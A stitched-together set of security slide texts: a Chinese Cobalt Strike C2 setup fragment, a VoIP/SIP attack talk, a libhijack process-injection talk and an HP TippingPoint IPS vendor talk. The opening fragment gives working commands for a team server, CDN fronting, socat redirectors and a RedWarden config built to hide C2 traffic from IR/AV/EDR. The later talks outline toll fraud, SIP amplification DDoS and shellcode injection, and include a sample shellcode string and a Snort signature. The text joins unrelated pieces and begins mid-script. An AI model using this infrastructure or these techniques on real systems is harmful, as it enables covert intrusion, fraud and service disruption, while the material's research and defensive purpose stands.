rmal/amazon.profile --no-check-certificate -O amazon.profile
echo '[Success] amazon.profile clonned.'
echo '[Starting] Adding java keystore / password to amazon.profile.'
echo " " >> amazon.profile
echo 'https-certificate {' >> amazon.profile
echo set keystore \"$domainStore\"\; >> amazon.profile
echo set password \"$password\"\; >> amazon.profile
echo '}' >> amazon.profile
echo '[Success] amazon.profile updated with HTTPs settings.'
}
# Menu Case Statement
case $1 in
*)
func_check_env
func_check_tools
func_build_pkcs
func_build_c2
;;
esac
profile
./teamserver 192.168.142.1 123456 amazon.profile
listener cloudflare
cdn
#!/bin/bash
# IPv4HTTP/S
iptables -I INPUT -p tcp –dport 80 -j DROP
iptables -I INPUT -p tcp –dport 443 -j DROP
# Cloudflare CDN IPv4HTTP/S
for i in `curl https://www.cloudflare.com/ips-v4`; do iptables -I INPUT -s $i -p
tcp –dport 80 -j ACCEPT; done
for i in `curl https://www.cloudflare.com/ips-v4`; do iptables -I INPUT -s $i -p
tcp –dport 443 -j ACCEPT; done
# IPv6HTTP/S
ip6tables -I INPUT -p tcp –dport 80 -j DROP
ip6tables -I INPUT -p tcp –dport 443 -j DROP
# Cloudflare CDN IPv6HTTP/S
for i in `curl https://www.cloudflare.com/ips-v6`; do ip6tables -I INPUT -s $i -
p tcp –dport 80 -j ACCEPT; done
for i in `curl https://www.cloudflare.com/ips-v6`; do ip6tables -I INPUT -s $i -
p tcp –dport 443 -j ACCEPT; done
# iptables
iptables-save
ip6tables-save
Cloudflare
HTTP
80,8080,8880,2052,2082,2086,2095
HTTPS
443,2053,2083,2087,2096,8443
teamserver (: 54321)iptables
localhost (: 54321)VPN(: OPENVPN)
teamserver VPN
0x05 server
JA3/S & JARM
teamserver
C2
:
teamserver 192.168.146.1 proxy server 192.168.146.3 target 192.168.146.5
1.
listener
sudo apt install socat
socat TCP4-LISTEN:80,fork TCP4:192.168.146.1:80 &
socat TCP4-LISTEN:443,fork TCP4:192.168.146.1:443 &
...
# netstat -pantu | grep socat kill PID
listenerIP
2. apache/nginx
: 1.
https://kosakd.top/2021/05/05/CobaltStrike%E6%95%99%E7%A8%8B/ 2.
3. RedWarden
RedWardenCobalt Strike C2
CobaltStrikeMalleable
EDR
RedWardenHTTP/HTTPSC2 HTTP
TeamserverApache2mod_rewrite
.htaccess
RedWardenC2IR/AV/EDRs/
Apache2+mod_rewrite
TCP
/
0x01
pem
mkdir -p ~/ssl/demoCA/{certs,newcerts,crl,private}
cd ~/ssl/demoCA
touch index.txt
echo "01" > serial
sudo cp /etc/ssl/openssl.cnf ~/ssl/openssl.cnf
vi ~/ssl/openssl.cnf
cd ~/ssl/
openssl req -new -x509 -newkey rsa:4096 -keyout cakey.key -out cacert.crt -confi
g openssl.cnf -days 365
#
openssl rsa -noout -text -in cakey.key
#
openssl x509 -noout -text -in cacert.crt
RedWarden
#
# SSL certificate CAcert (pem, crt, cert) and private key CAkey
#
ssl_cacert: /home/kali/ssl/cacert.crt
ssl_cakey: /home/kali/ssl/cakey.key
profile https://www.red-
team.cn/index.php?tools
profile: test.profile
port:
- 8443/https
teamservercobaltstrikelistener
teamserver_url:
- https://192.168.146.1:443
drop_action: redirect
action_url:
- https://outlook.live.com/
outlookprofile
outlookoutlook
artfact | pdf |
VoIP Wars : Return of the SIP
Fatih Özavcı
Information Security Researcher & Consultant
fatih.ozavci at viproy.com
viproy.com/fozavci
2
# whois
● Information Security Consultant @ Viproy / Turkey
● 10+ Years Experience in Penetration Testing
● 800+ Penetration Tests, 40+ Focused on NGN/VoIP
– SIP/NGN/VoIP Systems Penetration Testing
– Mobile Application Penetration Testing
– IPTV Penetration Testing
– Regular Stuff (Network Inf., Web, SOAP, Exploitation...)
● Author of Viproy VoIP Penetration Testing Kit
● Author of Hacking Trust Relationships Between SIP Gateways
● Blackhat Arsenal USA 2013 – Viproy VoIP Pen-Test Kit
● So, that's me
3
# traceroute
● VoIP Networks are Insecure, but Why?
● Basic Attacks but in Easy Way
– Discovery, Footprinting, Brute Force
– Initiating a Call, Spoofing, CDR and Billing Bypass
● SIP Proxy Bounce Attack
● Fake Services and MITM
– Fuzzing Servers and Clients, Collecting Credentials
● (Distributed) Denial of Service
– Attacking SIP Soft Switches and SIP Clients, SIP Amplication Attack
● Hacking Trust Relationships of SIP Gateways
● Attacking SIP Clients via SIP Trust Relationships
● Fuzzing in Advance
● Out of Scope
– RTP Services and Network Tests, Management
– Additional Services
– XML/JSON Based Soap Services
4
# info
● SIP – Session Initiation Protocol
– Only Signaling, not for Call Transporting
– Extended with Session Discovery Protocol
● NGN – Next Generation Network
– Forget TDM and PSTN
– SIP, H.248 / Megaco, RTP, MSAN/MGW
– Smart Customer Modems & Phones
– Easy Management
– Security is NOT a Concern?!
● Next Generation! Because We Said So!
5
# Administrators Think... Root Doesn't!
● Their VoIP Network Isolated
– Open Physical Access, Weak VPN or MPLS
● Abusing VoIP Requires Knowledge
– It's Easy with Automated Tools, But That's the Case !
● Most Attacks are Network Based or Toll Fraud
– DOS, DDOS, Attacking Mobile Clients, Spying
– Phishing, Surveliance, Abusing VAS Services
● VoIP Devices are Well-Configured
– Weak Passwords, Old Software, Vulnerable Protocols
6
# SIP Services : Internal IP Telephony
INTERNET
SIP Server
Support Servers
SIP Clients
Factory/Campus
SIP over VPN
Commercial
Gateways
Analog/Digital PBX
7
# SIP Services : Commercial Services
INTERNET
Soft Switch
(SIP Server)
VAS, CDR, DB Servers
MSAN/MGW
PSTN/ISDN Distributed
MPLS
3rd Party
Gateways
SDP Servers
Customers
RTP, Proxy
Servers
Mobile
8
# Viproy What?
● Viproy is a Vulcan-ish Word that means "Call"
● Viproy VoIP Penetration and Exploitation Kit
– Testing Modules for Metasploit, MSF License
– Old Techniques, New Approach
– SIP Library for New Module Development
– Custom Header Support, Authentication Support
– New Stuffs for Testing: Trust Analyzer, Proxy etc
● Modules
– Options, Register, Invite
– Brute Forcers, Enumerator
– SIP Trust Analyzer, Service Scanner
– SIP Proxy, Fake Service, DDOS Tester
9
# Basic Attacks but in Easy Way
● We are looking for...
– Finding and Identifying SIP Services and Purposes
– Discovering Available Methods and Features
– Discovering SIP Software and Vulnerabilities
– Identifying Valid Target Numbers, Users, Realm
– Unauthenticated Registration (Trunk, VAS, Gateway)
– Brute Forcing Valid Accounts and Passwords
– Invite Without Registration
– Direct Invite from Special Trunk (IP Based)
– Invite Spoofing (After or Before Registration, Via Trunk)
● Viproy Pen-Testing Kit Could Automate Discovery
10
# Basic Attacks but in Easy Way
Discovery
OPTIONS / REGISTER / INVITE / SUBSCRIBE
100 Trying
200 OK
401 Unauthorized
403 Forbidden
404 Not Found
500 Internal Server Error
Collecting Information from Response Headers
➔ User-Agent
➔ Server
➔ Realm
➔ Call-ID
➔ Record-Route
➔
➔ Warning
➔ P-Asserted-Identity
➔ P-Called-Party-ID
➔ P-Preferred-Identity
➔ P-Charging-Vector
Soft Switch
(SIP Server)
Clients
Gateways
11
# Basic Attacks but in Easy Way
Register
REGISTER / SUBSCRIBE (From, To, Credentials)
200 OK
401 Unauthorized
403 Forbidden
404 Not Found
500 Internal Server Error
RESPONSE Depends on Informations in REQUEST
➔ Type of Request (REGISTER, SUBSCRIBE)
➔ FROM, TO, Credentials with Realm
➔ Via
Actions/Tests Depends on RESPONSE
➔ Brute Force (FROM, TO, Credentials)
➔ Detecting/Enumerating Special TOs, FROMs or Trunks
➔ Detecting/Enumerating Accounts With Weak or Null Passwords
➔ ….
Soft Switch
(SIP Server)
Clients
Gateways
12
# Basic Attacks but in Easy Way
● this isn't the call you're looking for
● We are attacking for...
– Free Calling, Call Spoofing
– Free VAS Services, Free International Calling
– Breaking Call Barriers
– Spoofing with...
● Via Field, From Field
● P-Asserted-Identity, P-Called-Party-ID, P-Preferred-Identity
● ISDN Calling Party Number, Remote-Party-ID
– Bypass with...
● P-Charging-Vector (Spoofing, Manipulating)
● Re-Invite, Update (Without/With P-Charging-Vector)
● Viproy Pen-Testing Kit Supports Custom Headers
13
# Basic Attacks but in Easy Way
Invite, CDR and Billing Tests
Soft Switch
(SIP Server)
Clients
Gateways
INVITE/ACK/RE-INVITE/UPDATE (From, To, Credentials, VIA ...)
401 Unauthorized
403 Forbidden
404 Not Found
500 Internal Server Error
Actions/Tests Depends on RESPONSE
➔ Brute Force (FROM&TO) for VAS and Gateways
➔ Testing Call Limits, Unauthenticated Calls, CDR Management
➔ INVITE Spoofing for Restriction Bypass, Spying, Invoice
➔ ….
100 Trying
183 Session Progress
180 Ringing
200 OK
RESPONSE Depends on Informations in INVITE REQUEST
➔ FROM, TO, Credentials with Realm, FROM <>, TO <>
➔ Via, Record-Route
➔ Direct INVITE from Specific IP:PORT (IP Based Trunks)
14
# SIP Proxy Bounce Attack
● SIP Proxies Redirect Requests to Other SIP Servers
– We Can Access Them via SIP Proxy then We Can Scan
– We Can Scan Inaccessible Servers
– URI Field is Useful for This Scan
● Viproy Pen-Testing Kit Has a UDP Port Scan Module
15
# SIP Proxy Bounce Attack
The Wall
192.168.1.145 – Izmir
Production SIP Service
192.168.1.146
Ankara
White Walker
192.168.1.201
Adana
How Can We Use It?
● SIP Trust Relationship Attacks
● Attacking Inaccessible Servers
● Attacking SIP Software
– Software Version, Type
16
# Fake Services and MITM
Usage of Proxy & Fake Server Features
Soft Switch
(SIP Server)
● Use ARP Spoof & VLAN Hopping & Manual Config
● Collect Credentials, Hashes, Information
● Change Client's Request to Add a Feature (Spoofing etc)
● Change the SDP Features to Redirect Calls
● Add a Proxy Header to Bypass Billing & CDR
● Manipulate Request at Runtime to find BOF Vulnerabilities
Clients
17
# Fake Services and MITM
● We Need a Fake Service
– Adding a Feature to Regular SIP Client
– Collecting Credentials
– Redirecting Calls
– Manipulating CDR or Billing Features
– Fuzzing Servers and Clients for Vulnerabilities
● Fake Service Should be Semi-Automated
– Communiation Sequence Should be Defined
– Sending Bogus Request/Result to Client/Server
● Viproy Pen-Testing Kit Has a SIP Proxy and Fake Service
● Fuzzing Support of Fake Service is in Development Stage
18
# DOS – It's Not Service, It's Money
● Locking All Customer Phones and Services for Blackmail
● Denial of Service Vulnerabilities of SIP Services
– Many Responses for Bogus Requests → DDOS
– Concurrent Registered User/Call Limits
– Voice Message Box, CDR, VAS based DOS Attacks
– Bye And Cancel Tests for Call Drop
– Locking All Accounts if Account Locking is Active for Multiple Fails
● Multiple Invite (After or Before Registration, Via Trunk)
– Calling All Numbers at Same Time
– Overloading SIP Server's Call Limits
– Calling Expensive Gateways,Targets or VAS From Customers
● Viproy Pen-Testing Kit Has a few DOS Features
19
# DDOS – All Your SIP Gateways Belong to Us !
● SIP Amplification Attack
+ SIP Servers Send Errors Many Times (10+)
+ We Can Send IP Spoofed Packets
+ SIP Servers Send Responses to Victim
=> 1 packet for 10+ Packets, ICMP Errors (Bonus)
● Viproy Pen-Testing Kit Has a PoC DDOS Module
● Can we use SIP Server's Trust ? -wait for it-
20
# DDOS – All Your SIP Gateways Belong to Us!
The Wall
192.168.1.201 – Izmir
Production SIP Service
192.168.1.202 – Ankara
Production SIP Service
Citadel
IP Spoofed Call Request
White Walker
The Wall
192.168.1.203 – Adana
Production SIP Service
21
# Hacking SIP Trust Relationships
● NGN SIP Services Trust Each Other
– Authentication and TCP are Slow, They Need Speed
– IP and Port Based Trust are Most Effective Way
● What We Need
– Target Number to Call (Cell Phone if Service is Public)
– Tech Magazine, Web Site Information, News
● Baby Steps
– Finding Trusted SIP Networks (Mostly B Class)
– Sending IP Spoofed Requests from Each IP:Port
– Each Call Should Contain IP:Port in From Section
– If We Have a Call, We Have The Trusted SIP Gateway IP and Port
– Brace Yourselves The Call is Coming
22
The Wall
# Hacking SIP Trust Relationships
Slow Motion
192.168.1.201 – Izmir
Production SIP Service
Ankara
Istanbul
International Trusted Operator
IP Spoofed Call Request
Contains IP:Port Data in From
White Walker
23
# Hacking SIP Trust Relationships
Brace Yourselves, The Call is Coming
192.168.1.201 – Izmir
Production SIP Service
White Walker
Ankara
Istanbul
International Trusted Operator
IP Spoofed Call Request
Somebody Known in From
Come Again?
● Billing ?
● CDR ?
● Log ?
From Citadel
The Wall
24
# Hacking SIP Trust Relationships – Business Impact
● Denial of Service
– Short Message Service and Billing
– Calling All Numbers at Same Time
– Overloading SIP Server's Call Limits
– Overloading VAS Service or International Limits
– Overloading CDR Records with Spoofed Calls
● Attacking a Server Software
– Crashing/Exploiting Inaccesible Features
– Call Redirection (working on it, not yet :/)
● Attacking a Client?
– Next Slide!
25
# Attacking a Client via SIP Trust Relationships
● SIP Server Redirects a few Fields to Client
– FROM, FROM NAME, Contact
– Other Fields Depend on Server (SDP, MIME etc)
● Clients Have Buffer Overflow in FROM?
– Send 2000 Chars to Test it !
– Crash it or Execute your Command if Available
● Clients Trust SIP Servers and Trust is UDP Based
– This module can be used for Trust Between Client and Server
● Viproy Pen-Testing Kit SIP Trust Module
– Simple Fuzz Support (FROM=FUZZ 2000)
– You Can Modify it for Further Attacks
26
# Attacking a Client via SIP Trust Relationships
Brace Yourselves 550 Chars are Coming
192.168.1.201 – Izmir
Production SIP Service
White Walker
Ankara
Istanbul
International Trusted Operator
IP Spoofed Call Request
550 Chars in From
CRASSSSH!
● Command?
● Why Not!
Bogus Invite
Request
The Wall
The Wall
AdorePhone Iphone App
27
# Fuzz Me Maybe
● Fuzzing as a SIP Client | SIP Server | Proxy | MITM
● SIP Server Software
● SIP Clients
– Hardware Devices, IP Phones, Video Conference Systems
– Desktop Application or Web Based Software
– Mobile Software
● Special SIP Devices/Software
– SIP Firewalls, ACL Devices, Proxies
– Connected SIP Trunks, 3rd Party Gateways
– MSAN/MGW
– Logging Software (Indirect)
– Special Products: Cisco, Alcatel, Avaya, Huawei, ZTE...
28
# Old School Fuzzing
● Request Fuzzing
– SDP Features
– MIME Type Fuzzing
● Response Fuzzing
– Authentication, Bogus Messages, Redirection
● Static vs Stateful
● How about Smart Fuzzing
– Missing State Features (ACK,PHRACK,RE-INVITE,UPDATE)
– Fuzzing After Authentication (Double Account, Self-Call)
– Response Fuzzing (Before or After Authentication)
– Missing SIP Features (IP Spoofing for SIP Trunks, Proxy Headers)
– Numeric Fuzzing for Services is NOT Memory Corruption
– Dial Plan Fuzzing, VAS Fuzzing
29
# How Viproy Pen-Testing Kit Helps Fuzzing Tests
● Skeleton for Feature Fuzzing, NOT Only SIP Protocol
● Multiple SIP Service Initiation
– Call Fuzzing in Many States, Response Fuzzing
● Integration With Other Metasploit Features
– Fuzzers, Encoding Support, Auxiliaries, Immortality etc.
● Custom Header Support
– Future Compliance, Vendor Specific Extensions, VAS
● Raw Data Send Support (Useful with External Static Tools)
● Authentication Support
– Authentication Fuzzing, Custom Fuzzing with Authentication
● Less Code, Custom Fuzzing, State Checks
● Some Features (Fuzz Library, SDP) are Coming Soon
30
# Fuzzing SIP Services
Request Based
OPTIONS/REGISTER/SUBSCRIBE/INVITE/ACK/RE-INVITE/UPDATE....
Soft Switch
(SIP Server)
Gateways
401 Unauthorized
403 Forbidden
404 Not Found
500 Internal Server Error
Fuzzing Targets, REQUEST Fields
➔ Request Type, Protocol, Description
➔ Via, Branch, Call-ID, From, To, Cseq, Contact, Record-Route
➔ Proxy Headers, P-*-* (P-Asserted-Identity, P-Charging-Vector...)
➔ Authentication in Various Requests (User, Pass, Realm, Nonce)
➔ Content-Type, Content-Lenth
➔ SDP Information Fields
➔ ISUP Fields
100 Trying
183 Session Progress
180 Ringing
200 OK
Clients
31
# Fuzzing SIP Services
Response Based
OPTIONS
Soft Switch
(SIP Server)
Gateways
INVITE/ACK
401 Unauthorized
403 Forbidden
404 Not Found
500 Internal Server Error
100 Trying
183 Session Progress
180 Ringing
200 OK
INVITE Myself / INVITE I'm Proxy
MALICOUS RESPONSE
MALICOUS RESPONSE
Potential RESPONSE Types for Fuzzing
Clients
DEMO
Attacking SIP Servers for Fun & Profit
Demo Sample
https://www.youtube.com/watch?v=AbXh_L0-Y5A
33
References
● Viproy VoIP Penetration and Exploitation Kit
Author
: http://viproy.com/fozavci
Homepage
: http://viproy.com/voipkit
Github
: http://www.github.com/fozavci/viproy-voipkit
● Attacking SIP Servers Using Viproy VoIP Kit (50 mins)
https://www.youtube.com/watch?v=AbXh_L0-Y5A
● Hacking Trust Relationships Between SIP Gateways (PDF)
http://viproy.com/files/siptrust.pdf
● VoIP Pen-Test Environment – VulnVoIP
http://www.rebootuser.com/?cat=371
Q ?
Thanks | pdf |
Runtime Process Insemination
Shawn “lattera” Webb
SoldierX
https://www.soldierx.com/
Who Am I?
Just another blogger
Professional Security Analyst
Twelve-year C89 programmer
Member of SoldierX, BinRev, and Hack3r
Disclaimers
Opinions/views expressed here are mine, not
my employer’s
Talk is semi-random
Tied together at the end
Almost nothing new explained
Theory known
New technique
Presentation and tools only for educational
purposes
Assumptions
Linux? What's that?
Concepts carry over to Windows and OSX
Basic knowledge of C and 32bit Linux memory
management
Ability and desire to think abstractly
Non-modified memory layout (NO grsec/pax)
History
CGI/Web App vulnerabilities
Needed connect-back shellcode
Needed reliable, random access
− Firewall holes are a problem
− Needed way to reuse existing connection to web server
Needed to covertly sniff traffic
Libhijack is born (discussed later)
Setting the Stage
Got a shell via CGI/Web App exploit
Reliable way to get back in
Apache good candidate
− Already listening for connections
Modify apache process somehow to run a shell
when a special string is sent
− i.e. GET /shell HTTP/1.1
$ whoami
apache
Need to hook certain functions in runtime
Current Techniques
Store shellcode on the stack
Stack is non-executable
Store shellcode at $eip
Mucks up original code
Store shellcode on the heap
Heap is non-executable
LD_PRELOAD?
Process has already started
Process Loading
execve is called
Kernel checks file existence, permissions, etc.
Kernel loads RTLD (Runtime Linker (ld.elf.so))
Kernel loads process meta-data, initializes
stack
Meta-data loaded at 0x08048000 on Intel 32bit
Linux
Runtime Linker
Loads process into memory
Loads dependencies (shared objects)
DT_NEEDED entries in the .dynamic section
Patches PLT/GOT for needed dynamic functions
Calls initialization routines
Finally calls main()
ELF
Executable and
Linkable Format
PE-COFF based on
ELF
Meta-data
Tells RTLD what to
load and how to load
it
ELF
Describes where to load different parts of the
object file
Process Header (PHDR) – Minimum one entry;
contains virtual address locations, access rights
(read, write, execute), alignment
Section Header (SHDR) – Minimum zero entries;
describes the PHDRs; contains string table,
debugging entries (if any), compiler comments
Dynamic Headers – Contains relocation entries,
stubs, PLT/GOT (jackpot)
Process Tracing
Ptrace – Debugging facility for Linux
Kernel syscall
GDB relies on ptrace
Read/write from/to memory
Get/set registers
Debugee becomes child of debugger
Destructive
− Original ptrace engineer evil, likely knew it could be
abused
Allocating Memory
We have arbitrary code to store. Where?
Allocate memory in child
Unlike Windows and OSX, we cannot allocate from
the parent process, the child must allocate
Find “int 0x80” opcode
Program's main code won't call kernel
Calls library functions which call the kernel
− Libc!
Find a library function that calls the kernel by
crawling the ELF meta-data
Allocating Memory
Parse ELF headers, loaded at 0x08048000
Headers include lists of loaded functions
Back up registers
Set $eip to address of found “int 0x80” opcode
Set up stack to call mmap syscall
Continue execution until mmap finishes
Injecting Shellcode
After calling mmap
$eax contains address of newly-allocated mapping
Can write to it
− Even if mapping is marked non-writable (PROT_READ |
PROT_EXECUTE)
Restore the backed-up registers
Decrement $esp by sizeof(unsigned long)
Simulate pushing $eip onto the stack for return
address
Injecting Shellcode
Write shellcode to newly-allocated mapping
Set $eip to address of the shellcode
Detach from the process
Sit back, relax, and enjoy life
But wait! There's more!
Hijacking Functions
Global Offset Table/Procedure Linkage Table
Array of function addresses
All referenced functions are in GOT/PLT
PLT/GOT redirection
Shellcode[“\x11\x11\x11\x11”] = @Function
GOT[@Function] = @Shellcode
Can hijack, but cannot reliably remove hijack
Injecting Shared Objects
Why?
Don't have to write a ton of shellcode
Write in C, use other libraries, possibilities are
endless
Two ways of doing it
The cheating way: Use a stub shellcode that calls
dlopen()
The real way: rewrite dlopen()
The Cheating Way
Allocate a new memory mapping
Store auxiliary data in mapping
.so path
Name of the function to hijack
Stub shellcode
Stub shellcode will:
Call dlopen and dlsym
Replace GOT entry with entry found via dlsym
The Cheating Way
Advantages
Easy
Extendable
Fast
Disadvantages
Entry in /proc/pid/maps
Rely on stub shellcode
The Real Way
Reimplement dlopen
Load dependencies (deps can be loaded via real
dlopen)
Create memory maps
Write .so data to new memory maps
Patch into the RTLD
Run init routines
Hijack GOT
The Real Way
Advantages
Completely anonymous
Extensible
Disadvantages
Takes time to research and implement
Shared Objects
Shared objects can have dependencies
Shared objects have own PLT/GOT
Loop through Dynamic structures found in
linkmap
Use same PLT/GOT technique against shared
objects
Even shared objects loaded via dlopen
Libhijack
Libhijack makes injection of arbitrary code and
hijack of dynamically-loaded functions easy
Shared objects via the cheating method
Inject shellcode in as little as eight lines of C code
Full 32bit and 64bit support
Other OSs coming soon
Always looking for help
https://github.com/lattera/libhijack
Libhijack Release 0.5
At the end of the day, I'll release version 0.5 of
libhijack
Uncached function searching
Hijack within shared objects
Breaks existing (0.3, 0.4) API
Various bug fixes
Libhijack TODO
Version 0.6
Figure out why certain functions don’t show up in
GOT resolution (Known 0.5 bug)
Inject shared objects via “The Real Way”
Possible FreeBSD port
Always looking for help
Prevention
Make sure PLT/GOT entries point to correct lib
How? Symbol table resolution?
Use dtrace, disable ptrace
From Solaris
Non-destructive debugging
Limit ptrace usage (apache user shouldn't use it)
Hypervisor?
Grsec/PAX
Only protects to a certain extent
Demo
Assembly loading .so
exit(0);
Comments/questions
Thanks | pdf |
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
1
Vulnerability, Malware and DDoS
HITCON 2014
Taipei, Taiwan
石謂龍 Robin Shih, APJ TippingPoint Solution Architect
HP ESP
[email protected]
+886-935784086
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
2
Agenda
Vulnerability Protection
Malware Detection and Communication Cut-off
DDoS
Risk Report
Q&A
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
Vulnerability Protection
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
4
4
Digital Vaccine® – Security Accuracy
Term
Definition
Vulnerability
> A security flaw in a software program
Exploit
> A program that takes advantage of a vulnerability to gain unauthorized access or block access to a network element,
compute element, O/S, or application
Exploit Filter
> Written only to a specific exploit
> Filter developers often forced to basic filter design due to engine performance limitations
> Impact - Missed attacks, false positives and continued vulnerability risk
RESULT: Acts as a Virtual Software Patch
Vulnerability
“Fingerprint”
Exploit A
“Fingerprint”
Exploit B
“Fingerprint”
(Missed by
Coarse Exploit A
signature)
False
Positive
(coarse signature)
Simple
Exploit A
Filter
Virtual
Software
Patch
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
5
Overview of the Attack
BIND
Interface:
ISystemActivator
000001a0-0000-
0000-c000-
000000000046
v0.0
REQUEST
Function Call:
Opnum 4
--------------
Function
Arguments
\\server\file
Server Port 135/tcp
Interfaces Available:
e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0
0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.1
975201b0-59ca-11d0-a8d5-00a0c90d8051 v1.0
e60c73e6-88f9-11cf-9af1-0020af6e72f4 v2.0
99fcfec4-5260-101b-bbcb-00aa0021347a v0.0
b9e79e60-3d52-11ce-aaa1-00006901293f v0.2
412f241e-c12a-11ce-abff-0020af6e7a17 v0.2
00000136-0000-0000-c000-000000000046 v0.0
c6f3ee72-ce7e-11d1-b71e-00c04fc3111a v1.0
4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0
000001a0-0000-0000-c000-000000000046 v0.0
Pkt 1
Pkt 2
Pkt 3
SERVER
PACKETS FROM CLIENT
Function Call 4, contains a heap-based buffer overflow in the server parameter.
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
6
Vulnerability Filter
A vulnerability filter will check:
TCP session established to appropriate port (135)
BIND to the appropriate RPC interface
REQUEST the appropriate function call (opnum=4)
Navigate to the vulnerable parameter
Determine that an overlong servername has been supplied
Pros: High Precision, hard to evade
Cons: Requires powerful and fast filtering engine
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
7
Exploit Filter
An exploit-specific filter detects the shell code used in a
particular exploit. High false negatives.
For example:
EB 19 5E 31 C9 81 E9 89 FF FF FF 81 36 80 BF 32 94 81 EE FC FF FF FF E2 F2 EB 05 E8 E2 FF FF FF 03 53 06 1F 74 57
75 95 80 BF BB 92 7F 89 5A 1A CE B1 DE 7C E1 BE 32
Pros: Simple string match, easy to design and implement,
suitable for weak engines
Cons: High false negatives, filter is blind if exploit is modified
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
8
8
Policy Filter
Policy filter detects all BINDs to the vulnerable interface
Will detect legitimate traffic as well as attacks
Defining this traffic as unacceptable
•Spyware, Pings from the internet, etc.
Pros: Simple string match, easy to design and implement,
suitable for weak engines
Cons: High false positives when used to detect exploitation of a
vulnerability
alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC ISystemActivator bind attempt";
flow:to_server,established; content:"|05|"; distance:0; within:1; content:"|0b|"; distance:1; within:1;
byte_test:1,&,1,0,relative; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 46|"; distance:29; within:16;
reference:cve,CAN-2003-0352; classtype:attempted-admin; sid:2192; rev:1;)
Example: Snort's signature for the RPC DCOM overflow
http://www.snort.org/snort-db/sid.html?sid=2192
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
9
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
10
How does HP TippingPoint deal with it?
12 March, 2014
ZDI disclosed to MS
at
Pwn2Own/Pwn4Fu
n
18 March, 2014
TippingPoint IPS
customers are
protected against this
vulnerability by Digital
Vaccine protection
filter ID 13787
30 July, 2014
Public release of advisory
Ahead 113 days
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
11
How does Heartbleed work?
*Source:http://xkcd.com/1354
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
Malware Detection
and Communication Cut-off
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
13
How can a hacker control your device?
Virus
SQL Injection
Internet
DDoS
Phishing
Trojan
Worm
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
14
Discovery
Why Does Security Intelligence Matter?
Research
Enterprise
Ecosystem
Infiltration
Capture
Exfiltration
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
15
1. A combination of reputation feed and malware filters
2. Malware filter package will be updated weekly, while reputation feed
will be updated ~ 2 hours
3. Malware filters that are designed to detect post-infection traffic
including:
What is ThreatDV?
Vulnerability Page and Parameter
SSL
IPS
NEW
Bot Activity
Phone Home
Command & Control
Data Exfiltration
Reputation
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
16
ThreatDV + Reputation Stops Attacks – Use Case:
BlackPoS malware (used in Target
Breach)
1.
ThreatDV filter detects BlackPOS
data exfiltration attempts using
naming convention matching in FTP
2.
Reputation provides protection
using blacklisted IP address
3. Attack is stopped!
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
17
ThreatDV + Reputation Stops Attacks – Use Case:
ChewBacca TOR based malware example
1.
ThreatDV has Chewbacca specific malware
filters that detects DNS queries to known
Chewbacca CnC servers
2.
Reputation detects TOR exit nodes used in this
attack
3.
Chewbacca traffic is detected by using a TOR
network activity filter
4. Attack is stopped!
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
18
How to Evaluate the Reputation of a Device?
Network Traffic in/out
– Applications used
– Traffic matching exploits
– Good vs. bad traffic
Network Applications
– Services
– Content hosted (malware)
– Application issues/vulns
Associations
– Participation in malware
– Participation in scams
– Participation in Phishing
Device Reputation
– Device behaving well?
– Generating Exploit traffic?
– Part of Botnet?
– Hosting Malware?
– P2P Super Node?
– …
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
19
DVLabs Reputation Service:
Changing the Face of Reputation
Reputation
Database
• IPv4 Addresses
• IPv6 Addresses
• DNS Names
• 1M+ IP Addresses
• 1M+ DNS Names
• Updates Every 2 Hr
ThreatLinQ Database
› Global threat monitoring event DB
› Over 12M real-time attack events daily
TippingPoint
Lighthouse Program
• Real-time attack
sensors
• Globally deployed
• Detailed data
collection
Customer Event Data
• Attack events
• Global customer IPS
• Detailed data
collection
Open Source
Community
› Various malware/
phishing/ botnet
communities
› Unallocated (Bogon)
Lists
› DVLabs validated
3rd Party Malware
Research
› Malware research and
analysis
› Identify devices
participating in
malware activity
3rd Party Web &
Email Research
› Providers of
web/email security
› Analysis of
malicious traffic
SANS Institute
› Global Community
participation
› Correlates Firewall
Security Events
August 10, 2014
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
20
BLOCK OUTBOUND TRAFFIC
BLOCK INBOUND TRAFFIC
Reputation Database
• IPv4 & IPv6 Address
• DNS Names
• Geography
• Merge with your data
HP TippingPoint
Access Switch
•Botnet Trojan downloads
•Malware, spyware, & worm downloads
•Access to botnet CnC sites
•Access to phishing sites
•Spam and phishing emails
•DDoS attacks from botnet hosts
•Web App attacks from botnet hosts
Botnet CnC
5,000 - 6,000 sites
worldwide
Phishing Sites
50,000+ new
